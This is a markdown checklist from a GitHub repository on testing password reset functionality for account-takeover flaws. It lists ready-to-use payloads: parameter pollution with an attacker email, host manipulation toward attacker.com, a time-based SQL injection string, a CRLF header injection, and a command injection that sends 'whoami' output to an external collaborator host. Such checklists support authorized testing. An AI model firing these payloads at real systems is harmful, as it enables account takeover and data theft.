Skip to content

Latest commit

 

History

History
49 lines (46 loc) · 3.08 KB

PasswordReset.md

File metadata and controls

49 lines (46 loc) · 3.08 KB

Testing Password Reset Functionality

  1. Look for Password Reset Poisoning.
  2. HTTP Parameter Pollution:
email=victim@gmail.com&email=attacker@gmail.com
email[]=victim@gmail.com&email[]=attacker@gmail.com
email=victim@gmail.com%20email=attacker@gmail.com
email=victim@gmail.com|email=attacker@gmail.com
{"email":"victim@gmail.com","email":"attacker@gmail.com"}
{"email":["victim@gmail.com","attacker@gmail.com"]}

Check if you can reset victim's password using the link received in attacker's inbox.

  1. Look for IDOR while resetting password through password reset link. Use paramminer to discover additional parameters or append previously known parameters (For example, you may find a parameter uid while updating your profile) in the request.
  2. Broken Crypto - Check if you can guess how the password reset tokens are generated.
  3. Password reset token Leakage via referral header - Open the password reset link and click on any external links available in the page.
  4. Token leakage in response/JS files - Search for the password reset token in the response of the request or in JS files.
  5. Session/Token is not expiring after password reset.
  6. Weak Password Policy - Add only space in password.
  7. Request for 2 password reset links and try the older one.
  8. Try:
POST https://attacker.com/resetpassword.php HTTP/1.1
POST @attacker.com/resetpassword.php HTTP/1.1
POST :@attacker.com/resetpassword.php HTTP/1.1
POST /resetpassword.php@attacker.com HTTP/1.1

Check if the password reset link is manipulated or not.

  1. SQLi: test@test.com'+(select*from(select(sleep(2)))a)+'
  2. CRLF: /resetpassword?%0d%0aHost:%20attacker.com
  3. Register with a username identical to the victim's username, but with white spaces inserted before and/or after the username("tuhin1729 ", " tuhin1729 " etc). Try a password reset for your account. Use the token to reset victim's password. A similar vulnerability was found in CTFd (CVE-2020-7245)
  4. Application Level DoS - Try to set a very long password and check if the response time is delayed or if you get a 5xx response.
  5. If they are sending an otp for password reset, try 2FA Bypass techniques.
  6. During registration, use homograph in email. Now try password reset.
  7. Change the request method and content-type and observer how the application is responding.
  8. Append null bytes after your email and observe the response.
  9. Try XSS, SSTI etc in the email field.
  10. Try Command injection by email=hello@`whoami`.xyz.burpcollaborator.net
  11. 2FA auto disabled after password reset.
  12. User Enumeration.
  13. Check whether any param value is reflecting in the email. Now try HTMLi.
  14. XXE (if forgot-password request accepts xml).
  15. Missing Rate Limit - Email triggering.

Reference: